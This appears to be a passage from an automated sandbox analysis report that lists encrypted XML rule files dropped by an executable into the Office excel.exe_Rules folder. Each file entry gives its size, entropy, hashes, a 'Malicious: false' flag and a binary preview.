Preview:	<?xml.....!2F...\t.....2^k...8....m.:..'.N.DLeo.....&/.SN:.6...m...T..}0%j\.e.o.B>..L..u..}.7.mO..dD....WU....TWr.o...T.."............C..<tq....;..M.@..9.Q..:..7..K..B....f.vn...J...=.....t.K.e.`.8=@.g..R`......Q.H.....&..{......1....JK.@..:<...~....6...7..&+........`mY..7.r.9...-L4....54...1?..Q...Z.D..!A_>._../...A%B.;.@._.m.Q..C;..^....@3..$X.\|.D8.....7..].1.!).....#.......:......[@....c..x.E#M........}..s...Fb...55..Hz..O..D.....p....B....:..R.fJt.S... .....g..b0.....zu..S..r.DBqS..C...Y#.Z..a..`....7.D...`..x......N...b-Y......(.....539CZ.0........w..E.A.<....G../.I.(....VC....-....s...1..X..v.[2...eA...B(J8,.(B.{....\|m..n....j.)./R..w...+...`..U..A.....:.?..l($..{..bo........e..!.?D./..........&.9..TB.5...V.8}\.....o7@.Wu...;......@.Co.p{x...H.=...{6i.b.......Q#.g@..[.....c.x,.6.t...._.. s..C.8q.g.>.46.R.Hm.E....H..z.ZE...0..;.`;...........W.....LN*.L.D..o...@...K..L[.8.g...z....}.S.$. .@V..j....t-.?b]\|...Q...V;?..eWAs...o.N.o....Fv..x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.823219947678766
Encrypted:	false
SSDEEP:	24:t1cXnDRaEbazU9RfOgvWsbgRbH8nmAhDWCpgQjVbD:cncZzC6IgZemAhDzOyFD
MD5:	D455D796B31B0D63E3EFB9FD2EECB22B
SHA1:	AFD714396527295CB6563F26305A5F0B60ADFA36
SHA-256:	E631C8B5E971E4F166258F2B6A4526DB7A16100EE272A90EE15A941B44F85E41
SHA-512:	E6F06CDC6E3FD806B82866452FD8C82161EA7B7D36CBE275CBA3E823BCBD8F0B270A11E663654948F1A3807EAFEE5FB24EBA6962BBF9BBD5D257CB9E766C89C2
Malicious:	false
Preview:	<?xmlCv.R.c....P...v.._G.s1A..cF,\..T..d....@..G.@d.....T.."..=....9..y...._9J.....&..[@j.....X..2\.n....#1J..@6)!5.o.v.R.8.f^5#}......gnT1y\|.z.}... ....$B_...!.5.p6...u.....).e..B.4..k....a.....(ruX..`...SA CBD.cgf......Y.. k..<z.7:...h....?.`;...xC.........g.$..P.O.'...n.Xo.............y'..........]...<..........m.X....LS~)..8............\|:.?L..........i.19a._.b...m.M......'..{.;.H.>O.t..6....?...B.z....Q%#.$.?.C.JZUJ.=..`.Xy.2\@J.Crh..'.X%...+...Za>......A...NO.......:+vq...D....tkr.....i\"...?..NE..D....L.h...\|]. ......M..U...(P~)3..O..\|.`3E]\|.7%......_.:e....]P..V.=...f..h..V. G...qb.....A....m..,=`.O..:{.....M<v)........o.....t<...7...K.j..Sl.B..B ..r>..u.mi...">gf..9^....R......]...V..-......O.wS.u......7..".F.......>....HM..4.....j;.mIo.UW\..t4.3....c..x."Z.......w..@....c.(QU.n(sS..7.G.k.2D.e....v.g...(+2..().H?N..d.@w.LDgc...#...?+..=.........<...4.?)ln.%.G.zc.oj.T....I!l[/..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.801345738170031
Encrypted:	false
SSDEEP:	24:Vtpx1cN2ZdYZQhggnIlfg6knD43OT3zVbD:/pbPggnCPmDXHFD
MD5:	058B6045BA5D325CD0EF9E6C48C6A289
SHA1:	C2CF540ED148F6C7F50746E579B63EAD651557B3
SHA-256:	1545424D14C82B81885265C50DEDFD74FD8D91CAEB3F0305C85C711F8C92275F
SHA-512:	FC91BF6C5351B942F90DC74D6ECB9CC6B882611B3C5121FC9342D3160C4F58A4A306B6252FDDFD40369E7111A7A0734D1D96CBFBEB8BFB1013A1E7F6F3EC1B47
Malicious:	false
Preview:	<?xmlq.......J..J..P1...B....;......xw.E.g........X....X.]...#...X1c...........=...p..y..(..........o:d....0K....j.....%.2..e.....~V.....H....i......[...B....A..& ..L....z.t.lF.]p..`../N..{..z..k./.%....._.e.\.jj.[.x....o. .3^..a..G.PO.X.,...%.U...o$.....t.....0R.n..i.p.....:v....9X....:%.<.....B..... TZ.i.d...Ja..^...0`Lv...KY{.`BA<.7./'}...B..5$.NX.vU...R'....S..v.}.vZ\..14........6....b....5...]..-9...=..CG........@...%...P.n.E\|.u{H.M.!.9JK:.R.'.....t.l.'.eZ.;.H..-..k..{.......d..2....(.g...B}.....r2.7.Y.\..Q.>..^...(,r<...,[....I.6..l~YP..-.$.=e......ma...l_-.Z...2.!.d..w!v....Dn.J. .....n=;.Zyd....+..}.4.$Ji...M...A..u.......z..5..0.rp9..J.b0.X?.Qe..Q7..........}p..n.h.Q.M.....rG...2&M.:.k.......F9#.j..uZ.)E,_.gz.'}.I.g!..Q.Y2v.{5A....%..xO.cz .....".3..1c.c...j#.`..GB...k....2......;.6..K..L..Y...$....9F..;.......&L.v.2...D..M..GI..M..mEl...>^.`D^....&.1....W..8...4.B.......~.( ..d:6..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.860323243665516
Encrypted:	false
SSDEEP:	24:lUnNS+dMvx53MJ9+ZPSX6TB0tgcPPZZmoqKSv3nYqsyT1VCV+MEiVbD:lENJezJZPSqTCtn3ZooqKYYvuCVdFD
MD5:	B2ABAA54960CE96F5D6DBD7BC85E1D72
SHA1:	70AFD1538B3C922E27C11434597B84FC92C5F9B4
SHA-256:	636519F063FE1A2E45CC13C5B260F3073F00BEB8BEF43532D80E00146B39D466
SHA-512:	2EA99109DB9CD25B3241FD4D0D89E7713BDBE6616B50D4AF043DF3AEAFFEB9F3ED67CE2E7A0F95DC91B87C6323164E13BF84C376CC5FEBD08B68B84F5A3D5F5D
Malicious:	false
Preview:	<?xml.....+I....3{../S.2._.e...$........1>...a.W.b..BF (.W....4.......P..G.8.Y...Y...'.o.q...oU..V.....a&.}.N..L1.f~.,Ba.<j.z.....r..G9T..>^..D.......Z.&..wB.Y.A../tbGl.WF........g...U..G.... .'..!Y..L..(....<..!n...Z..`..mD......i...b..&..Xp.[L../4?....c. . &...g.P.'.}.>w[Ac.G4...'...Hn7^.."..pi.M....m.^.b.r.>..Iu.c)....@jG...a......e..>s..E+..(..$.(D...Idl....L.......~. ....[t.+.k....I......X\|...J0...j....f.aG.....x.d..EI...w.@...a!D..U..%F......A?....D.P(Z.8U.r4Bc[.>.d..]./...AU..mc....Ql..VY..f.{..Q/8;.......;.: .B.7+.v..v......p.!6`.WG.s.~z\....[Y=......U^<.qN..[....AU......W......*Z....8..p......7l.x.L....C....3...a.u....gv..i.<..4F.\.....!u.....ybS.]..Y..m.4)0.12q../.[..gd.RP.u....e...W.v.&...1?..].....{l\|D@%...v.H.....q....-...E=.g.z9.^..5....%....>..;.C........qX...q)..F.......)........J..".......m...(.C.Wif.?...G .,q....e...y.k... ..aeB.\|..B...I[.L..S..;.c.zP...T]A.~.Ti..&..@B.H#uP.Y.^.k..F..x...9..].S.m.G...N.O5s.G.n.0.s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.827249414873473
Encrypted:	false
SSDEEP:	24:Yb7PoDfQijtVssFY9yWzqbPWbsuYYN8qpK0bQ0Cm23c3ZBO/OVbD:Ybrwf2DaMFNLI0c0Cm23c3j2OFD
MD5:	BB9EABBE592D78EF47128D449F9F3F1B
SHA1:	6A2F2C99E0239F632956AECCB98069573292966D
SHA-256:	2C1DB1899FC3BD3D0B99891A45084EC6E4CBBE75A27272D1D5AF08062414B137
SHA-512:	23DA491BD4E168EDC195BFE237BEE77AD7AB6ED16BCBD03080D297072FC78B65B14BB55ED9AE8D7E8EE240CA3D400958E96ED75B41B43EC099073910469AD538
Malicious:	false
Preview:	<?xmlj._s..Xnhr.yG........U..m/!.iOl.W....mv2.n...4.H.u.p..t.".m..:.<.g...d.._.#..Ip..hsRv.Y.e_..x$...O...k.(+.....`O.c:..:.?Z....&j..,...3.. .NF.....f^..;..#.<.Y..p.Q.\.C.G...`>-7.5.a..2<../..ern1...d.gX(....L.).5......[V..p.......pTPQ..I>@.U.5.(".JA...KyM.w1.l.d..1t.Y.......A.$~..8\.%,z...6.s.k.6...?...z./.&..r.m...' s......8.M..G..v........].D>..VC......x.....qp-..._..~..P....w..M.Q"..J.M...(..(.I.B..Qm...nS.=S.c._.J.ey..M.\|....!A...p...:.Fo.....DG./..A7.......c..@!Q.,.;.B.8..1..lba.....g..g.......jM.]..^.../.5...u]'.FX=>f....U4h.zm.e#.q..L....V..z.y.YQ.0.l....c!....G1.Ud.....D..[......!.....g....S.I...x.;....gy.q..0.[...!.Wlb<.W.. t.......F.U. ....i..%p.%Nh.@...p....0....8k.w.\.nf.Q.6.......S.N}.J....3....f'FUbL............#..nY>.......q.....RZ>.e..R.+..e.t.i,h...M;.t....V..H...+.;..}[EB.,..N.....L.r..P}......&<o..tjA.y.....6`..i.'U.8.)..z.....{.I.oq..C.....=..H.h^P8.`..nH.....1.$....P..af.=Apm.R.$P......:....1.L."...v..itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.814643703478988
Encrypted:	false
SSDEEP:	24:c2vD8Ioxoy3IUEi9dZPk4+VKFpK7BeNZtm7ayENYHioVbD:cmbox+DQC4XLYBeN85ESVFD
MD5:	1F4FC9CAB202157BE5E7D6D92D90761A
SHA1:	BFCF2D41EFB861A3746795B7D4C17DAA3DF1A524
SHA-256:	95FE01B019269CF4533263EC1561D2DF9B5C0B76DED3385C09F026F18521BA1B
SHA-512:	D822B595D7DE740F11B42F10C3C72AB126DAA781E5FEFC6C1A984250B11934BA163DC48E453E03913A5D3F06239DDC12D3439C8FE5516EFF335D9FA159E01B9F
Malicious:	false
Preview:	<?xmlz..e..........TC.i..+.\|Q(PM....J.(...".5.r.......f&.. b]c0....'..L.D..Ch.......P...,M.`.#.e.-G4..M.L.... /........X^....I.d...`.......ai.9...EN..A.nn..a...%.2s4yH`..4.vk)....,0.....h%v.B.-(.sF...+....^....C... ..T<.o.6"..Q.pY........]e..l...P.N.2..I6.{......i2M...V6......4:F......... .m+.z&.-.2..m.Whs.......n@9.8......e...b0o..w..4...b.}...8.M...<..6..'.....X(.r.B{\|-).R.......l.sl...Q.@.W...W..7............J;.....aeU.#.aU..B{0...Z....\|.,h..fZ.d..!.xi.....)b.}n..?...$..SK..H.<....b.T.B.u!8. &d..^.....G............jR.B...$...?..z...x....VN.Y...Q.}.[;4-.3..A..s.O..H.I.7t]@...d..../....{-.>^Rr..n$,.. k..obb..T......a.1..9.q..D..d._".&.=... "...e..8.u.1.H.....0#.Y.uVi..\|...T..#.]...cF..(..u_...:.ec.P....s.2/..;....L$...8...........Sa...{..p..`........Z..H.}P......W..."k.6..0.gvO.1AE.9_^.c.....Pp..[;}'..k"...1..n..,.d\|.X..S.P.B.....?xVR.l.<.7}94...Q..._.K]\.h...&.t...{..>V3e..G..U..e._Jz.W..e.....@Q.68.,#..5......k{.#...U.`.}eZ%.........g.......&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.901476685077013
Encrypted:	false
SSDEEP:	48:LoIlTB0z1I9A5pM7Ww0Nns6wwmHA2AFLzSppPg1QF3y/ORncFD:EIlTqxI937WlNDmHA2gevPg1Q3qORnc9
MD5:	15E96EC6F40022A5E975D9A21D0C6DCD
SHA1:	5A82248A93DB47EF609E88BE05C626B778F6DB6D
SHA-256:	00FC877428F4F97225B403D127845BA298B889162FB142D59B10964F184B1E22
SHA-512:	647D73DDC5765D89D03BEF278C2ED25A558730A4E020C3D0A72313DE315DB2B28B8A00CD818AC5458B594CE03670783323C66483781ACFE26CF5501FCCE6E348
Malicious:	false
Preview:	<?xmlgc/..$.W.A(x...-.....ra.....S...$.........x#..._.f......?t(...#51M.R...&.;l.!.I..r+.X..>.<..AYsR.wqc.#....y.....jO..i.C#.z....K.F.A.......p..N$.....1.(.\(..M.N..z.pJ[8..=.R)....U.....3.nbC..P`.b8...o x.i.6..d0-..t...46.8..K.5.....ZC......I..m..V2.gO.J.'E..-'/..hZ>.t......".C...].~...__..z.....d..<....c,9..u..%.K..~.........4.ej....B..yu......~..t../`;."....s.@+z.m..>.......sU.A...E....c...x.PN...X.Z0........X.t..ju...g..Q.r......q..Uj.o .X.gG.v...x.j.c..!.o3..../......'s...m....G.)....O...I..U...2r.C6......d.y. ...7S..p../.]o.3....L...w...{{m.V.r......Hp....'M..\N..H<....y...z.K...F...z. ..OLlj.~&.m.\..H...V.b&......%>M.G..-r.....g>........3\|...`.}...gU..g....E.{.......=9<5o... ..@....Hs.w^o.....}.A./z..'...lT..a."mp....v.>....i.....d......Z......`V.).D...........S@....{..SN.v!.m=.......L~+1..X...Y:......D.[Wu..q.+.z.#.$....n$.$...L..b.A....yOE ..ik.0........:...1..J.....v...}..c.......%.....A.PL)R.....@. .6+.r..%.V.?.V.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.701367769164758
Encrypted:	false
SSDEEP:	12:8Gn6MGXbY/9LPj3PSEWW9slJXKRoBCWTIGFmJZzmVit6VB9kPGezt94bEP6jVciD:Nn0XbmLr6x14oBFbuZzmViwieLVbD
MD5:	21C850EE687948800B9A6E923DA767FC
SHA1:	A01BBA9499662A181878D07E344C36861F62CEB6
SHA-256:	38868DE035D32966B678DD981522675DC7F174B43C0E813DB4E0E214D9656509
SHA-512:	D5FE4668E6BEA32CEDEC8F43EDBC410E5C0617B60A6732585C91207F2817600F049D5F52BD19AE34ECD30B646AB8FFE959958B9CC8C0F272DE96BF48AD116997
Malicious:	false
Preview:	<?xmlNd..!.?.}J-..pt.!.A'.."....d.n..W..o..i.dg........_...F.3....pL.`es........\B.F...IB.I..!..d`J]g,.>?&R?4...../b...mI =.. ...29.u.~....jD.....$........ .....Z0..!P.~.Qz)...`~.'...."...l5..c..N...u.@......7...\|:L..~E..W.i"...g.uDS'{o...j..FPj..#Cx.=i.^.......,b.!.....E..=.y....W.....u.!.. ..&Z0.k.x.........e$%Q.....Hv=I@.@.&..qq=^@g..$....-....p[....z...>..[...?%R.....N.)...N.%.F...i.Rjl.bb....n...<.y..I.c............._>.d.M.g.=.....x..t....1...(.+...;n...f>.F..\|................i.\|f...1._...H..........>..KN...ka.Zu..l.....B....S.\.OK2?bL..x.v.d...dGx..'U..h...2r^..:F;.&X..j.g.c...Vy......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.900410704580134
Encrypted:	false
SSDEEP:	48:gdMdXYe4nBJmXeq62YNwlmrE5VzK6MIb4VqLgfTsFD:mMdqnBvpiCQVzK6dbgqLP9
MD5:	8A18469003250469AE0243A9A027395C
SHA1:	75525F37C387E06AC4DA538F5AC3847BAE4CD903
SHA-256:	F899AB067358101865D27DB540EC3033A607C3D98953FB059B32219695BA89CF
SHA-512:	E69E909C085D01CA616E8B3095ABA6CCB5236EDFD3E693072C306E66EC7A95E1C8E958AE49803BD0BD55A1FCA0B80E037AC83DD3A01F42BB7B3EA45176DED260
Malicious:	false
Preview:	<?xml...b.A..(S9ma.(..>K.n..G(=...z..Q.....K...'..C..x..iTg.# ...Ggr;....y.j.\|Q;..v..^.....Bn.`....G...O.?...-.c..SK.0H.:..<%i.KJ..~Y..............C..v.Z..{...m......V.\|&W.......q.:y.~.'`.S.........-e.'=......9.........6..xF.!O[.....@.....B,...F...>..Yo\.>.z...._...8.....J..I.....D.<.X.1:N.T.X/...e..........2......~..uA....{..Q.~\.v=.H..Wx..u84S.).t....,qgne6.H...Lm....q... &..UN.AY...../rP....%.3)........+..0.7....gL.....".1...:...b....J..Nw]..........._...E..K."..]...{.d...[d.4..o.)..9....d..q....0..C....f.\|..L%....H.m.?......A.<r?..z.XF...........Y......H.j@...B,.,.Z.Q.....+.Bb....]Js.....j`jh.....(.GE6...T.j..W......x.....N(..f..W.wh.v`..\|...N.XCC...y<...b...2.d......U.uGp.].{..8q/{..Y.K..Aw-...3......W..zm..@K)L9..+.a...U?u.=zs@......&Nl.\.C1.^.B...5c)N.+.({..u.g.)...F.{01....'./2.\|.i.k.....i..x.).U.g...I!........l........S.}....t.r.?Z......31.%.b.E..:.....:5A._^P1..q..%..Y...F4...(.\.\... ..........2sV.P:.(2=$.2.K.\.y..:.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.904228530413923
Encrypted:	false
SSDEEP:	48:7VIhMlToZgJReajp7o58KBbMJeN7JGtSsi6z9FFD:BIhMBoZq/jVEu8I9F9
MD5:	2DFB86BBDAF0F1935869108B603127CC
SHA1:	2BF6110BB8ECE1D2C73D627BD2BB0AD67CF39A20
SHA-256:	2D7B0EC02010A7E892C6D5376761C051F9225C4C0B5169A6270F4774C2063AD8
SHA-512:	0D918F68C826B5390BF52317B5137E81F66794149DFD1AAF0185D0A1E1A1EAD117D06832B7A74B202F193A411AF2D2107319B6C3D3D79BA3BFF7DEE186C75216
Malicious:	false
Preview:	<?xml..q..)..Ta.0s..v@..z.....r#......D..,K.P...>....u.{R.i.4.m.T..'..`..n.Rv...V.!..M+.Q6>.OO7.x)e$....PL.............5....U4..P..m....g\......f.Hx.....}...!..:wjz.y.;G....]No.!.a.._/..Zg..T.5sg.K...L...g....;..t0Q.r..A.Z.c.....O.4FO.v..uO.Cj..C....D.)..6&.u..)..>..Q+.....j~..Ue..lT.....\|.n........[.M.9WQ..V'/......Yz..[..JY..z..(..d......{.,]5.e..'.....^.J.^.......>.....Wixg..[..x8.....5#.W......r&...........+c...x...-,....U..#....J..q.v...23I.IDSh\|.2.0I..OCx.0Z<...(OH._.....g.06V.x:,.3.tF.....V\|V...o.h...)^Sx........_Jt.........[.H"6...r...J....28V.F.q.^...x&.R..HW.T...T.t(..$kb#Z7O.....2.0.. ..F...+.:...p.+.?J:....f....-p..`.zMV.(.......X.[*.a.+.K.`rn2-+.r] .f..E...==..h....b.LEa.'#%h$...P..G..S:"oZ{.-3. b.q.6...}....k..=pZ`.5.c...........)0...T.......H...xc....2.=.......J.$u\....jE.,...aD....}rF...N...(.A...4.e....[.D...M).......4}:pY...J.i.%.Xg."....b[TVYwf...A@#.+.}V..H.q3B.m(...r<.W...&.j.8X.._.."a!.....u..x.m}..._s....4bg....pa:..,...q&b.I'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.86918208000684
Encrypted:	false
SSDEEP:	24:e0JKvqC1VH1V4zBauu+h8yAYyVLIaSkweJbUtOu5EIraalZFHJVcVbD:LY7r1uzBaf+N9C4sbkLraEZFHJVcFD
MD5:	FF13E9AA106A484F4889C9844A4FFAB7
SHA1:	87DC1B9083A6A442BAFD46D4A2469192C5E89B64
SHA-256:	0BF289EE5562EB482C3D49EB9DA09CEE8C134B64E7EB78E5E28D8BA52994F208
SHA-512:	384583B2420DB39DE15CA3B4AF7D8B3A49F6F1792A29B916C9C5A370BC190A3E46E8D582A82472A378B4C89D0301765665AC2843EC4A0D326AAC750E1212555D
Malicious:	false
Preview:	<?xml.\!.+..M......\|.y#A....E60..?...pz..O3Q+.q.7...4.Q5..&nV.s@>!. ..T....;.Q.R..c...EN..O.K`.j.ZW............{7<.....7\|..u..mR..2+.=.PK....d.dC...nk..eEp^.ROn..%.....-^<..Z.))ngH%t....>>1......2.x..V.D....2q._%r.+.>].(g..=..85.(.r.....g?....y.L.F. .C......1 .\....9..f6iuq.?.B...D"(C.~g..y{.o...8.jvD.s~.....Y.d..u...RQsC..\....d.6...?..v8.j..n..@i.8../8B,.7...`x..I..0.eh..H..".lg...C..2N....!S..ii+.9;..{..i..8..M.i.Q..p......;X....+.Y..^\.RZ..V?....[..q.4%{:..\.........q.2v........2..;D..?...^.$6..Z.E65...MS.9.m...../.8...ql.g..'f..z.D7\|...Qf...?Rnt.....+..&.NB.@..K..x..Ey1Di.....eg..I..;..a-..E...pUB.m.K..rV..~+...L+}....+..3.%.2..\|.R. ....WHG.`~.1.!..u.......;.{..O........$.+.2}..>...2.h.3.;.z.l.#+...W....D.'8.^[.=X...P.x(.W+..y..L.c...........29...uCB.L.u.W..D)..1R,G..v..j....a.....#.. .E.m..N.....E...}....7A 0.CjJxOa...f....S.ibP[.#..e}.:FnC...n.....J.%...)..d.?.`4wM.Q_...;0F.-...t...E....K....A2"..l.u.h3.m.Q...ajF...QBy.xh'.M.T..R.R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.791522877815474
Encrypted:	false
SSDEEP:	24:M0Eg9V4nLW+tz9nW/u01Xj69jRdg3UnfuVbD:bErnbxW/u0969j3g3Un2FD
MD5:	CF081A17F676EA54C5932D83D09B2B93
SHA1:	45C63B8D3823509149621BE50D6C1FE67A391F09
SHA-256:	D8B47B1C31BA1C3AC933FB3A5CF82EE7B660610F3AF5C86275FC1F71E0D02B32
SHA-512:	54CA8D240E47BB4ACB02A4239A290EBF89F867361C815424F445CDBC4B8B6D866D8642674E88FADBFCFF7B94529BD33F7D88AAEA20BC6E427582F3FC28254465
Malicious:	false
Preview:	<?xmlda.SX{.@.b.....:.}.h....}.J;2..w\|n.....4Po.L.1k.....U.o[.+.aw..I.tv+!...sc.p.`..p......eY.......&4.[k...[.7k+.X.?..p..-N.}.A.e=s...........^e.Je.z~..>oC?"0........N......x{.........M...J]..U..1..PY.O%...\|...b.n~:.&........zSQQ...CJ...} ..%..wB...x.O..LM...@v<0m...O..sG.{..:.o.7..Z..w......v).. ......(.=...t5 ..TE3...D....g..J.=..@k.AY.0.;h.....$...hIN..g.6l....C "~0..x.......qo..`..P...}j.&.\j]$......&..Q"...h.. .(D..d.'...K\>.....s<...O.?.o.4~..3..M.I..b...9......7......e.I\|"kl......G3z!.A.c...s....(..~k.5u.......O....l<!o..L.jL.\I.^..N}..L..N9..7..n...?.=...r;.o.Y.N...Q.K..\|....$....J..&!..ut...tk.+.#......,A^.fx./.z.g.....f^_...+...]x.....A._p{...O.P..b`...r.U5.Q,...H.........k...v..;u....-..#]O....G.0=.`..o..-...U.U.......3...=..&8...0....l.RJ..L~MR.x-.8~..5r...!.....]U..7P..!6.m......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.794796863583852
Encrypted:	false
SSDEEP:	24:olRLV1L6JBD6Q1ax5b+8Ehwbn3NjHFWHb7/VVbD:YV1uHI/dzn3NjHkH//VFD
MD5:	2E1C0D95C2101370B33007BDAFE83D11
SHA1:	F49B21D6F924410EA2503245461577E106768276
SHA-256:	E197EBB9EFCB64AE4EB482B841286DCB68FE1314F794DD6E06914E04E738792E
SHA-512:	629FCA6FF403721CD69E5F098D0632D8CF3F88BC1100947F9D1B1EAF7141994114F90EA3C3D660B2A3CA9210663A989FA8A725EFC988D76CAF9607681B6CE43E
Malicious:	false
Preview:	<?xml....7.YG.....<....f}..'...\..........~...=.j.r<.:e.x..P.K.+.....0F....bB.~.)....+.bK.+..#%.m.......z..........9.V.I..QE.w.3.$.5.......d......W.aw.......6d...Y......=s......\...(.)....]........j..y...8b..1.a..9..M.-.........y.p]I...{K.v.c.7....X.q.%.\|}.'..\vf.D76O.=.;e...z.Y..h.f.h....:4.k]....2.y@..M.5.........V..&Sc....Q.]...l.o..8/.b...TI%.@+\|'..m...-j.\1...n.$..4..MKJ.......Q.g...1N...I...l.{..\D.v.zw....W...!6.{.'.1Pq...^...o.f...X....e...+a...C...:?...D.^.{.... .u.J...%I..:..eP...x.........VHA.p._...W...x.....>.....i....7.Z.5b...Y.*"d....2..gd.A.W...2....:s.W....d`.../J..~NHO.....@\|.......5....?..M]...A.."......O.o..fQ.._....%%.8.rjP...i.%D.p.U...i...(.Xe..`.io,.\M.5.O'D.RD.......%._.XQ.Y....nv..[.m.d.}.$.<.u.-...Zk....C].6..Ko.0Q....c=Z....P.mMU...s<.6......U..i"Z.".]..s[]5...4....86.Kc....D..R.xi^,...u..&^0=....W?.D...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.905101796990622
Encrypted:	false
SSDEEP:	48:AX+U1gLGsRnkB/B/GeH2f1bkFtJXr/Gc1AR/LG0GjrWJNVyFD:B9Ry/NGe61gFrXr/gRlJNVy9
MD5:	410C1113852CFA33C09737990899473B
SHA1:	5D5AD4F38B7105EF0A62BFC6578AF2C61947468D
SHA-256:	BA34554523533D779D3AD00EAE32F18A12281FC5DDF9735A190AF9FA383B46DA
SHA-512:	7B6CE3F04AE8B70A1AC9DA329CDC12A776BDEF62C417C497233107EC96ACDE31C980F0A7DC3150602F3683491D91FF90E45A61A45F7D73A5DA3E16F399B592F6
Malicious:	false
Preview:	<?xml#..0..p...r2..+....?.7Pg.9.i.h].e.y.F..A....{.?a.X.}..%u.....o..Fn..W7...f...W....R.sb.G.`..N...t..21..?e.:.>.\|.w...Fm].......Irou.lm.m...i..GmR..!..F./w.{.?.F}.C.ukm.vc.".f.h}.l.".Q..`.#x........W..A..LL...Q.E...S)k..C;..^..._.sW..\|W\......=..Q..r,.L.m...r.'...&E.qx}i..."-..O.l......(tu.V..`u'..F..n{.P7..0.Z..!.h...........}.4....-.u.....)......Xue....3oHU7.?.&l..u.E8"h\|.Z89.......(....90..8...{.....:[.Ha..p...h....y.z...&..%W.1I.4..bFY...G..E.6+." .....x7..'N.h....C_$?....%$.(...c.J.y....k8-.".#._.k..\3.:......4..n..L...?...O.:.....:.r.;2j.4.... 8NY_....)b. ......+.....}.p..m....d.nf.e......V.C.#..]..}.%..T..H.V%.t\|.e.....5..\|.........s]..&U:...N].j.w`.a..@8].?..k(6.....x......8..E..I....w{.".. ....F.v.V...0..k.&....h.R.$..t....%.T.._.@{i..1.z.O2..C.)...*..Br...{Jef.....L->;.T.F<....).h=....~..7..((..b...IZ..r....8....._.p.;.1h....^..`....[&...%...B../Y.w`%..\|..`..e,.\|.am.sNl.y..9..!7.'.tPH../"...Z....qh7Q.....L...]Su..W.Y.{^..w.d0[..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.885964846380011
Encrypted:	false
SSDEEP:	48:LB7poiorZ845e0DqOyUKlfijBlN220qog93LsoxJ0+/xQIFD:tNoH7Yi/N2vIQopZ9
MD5:	CE8E6BEF5DC4FF8116B6F7DD81CA6652
SHA1:	E8600E347C750F08584CD1820FD926D42F2C4BFA
SHA-256:	5DEBA40CEA622042251ACE3F8DACD8F6ACDC416051CC0F340A345E1F1173755D
SHA-512:	17ECEB37C012D25DC14762EE9418660E404FF86EC28A6BFA48CFC4BDBF3E9E45FDB30AD8F89033BEAA6635489E3B3740D7A557584A9686B6A4DACBB52D2D9E29
Malicious:	false
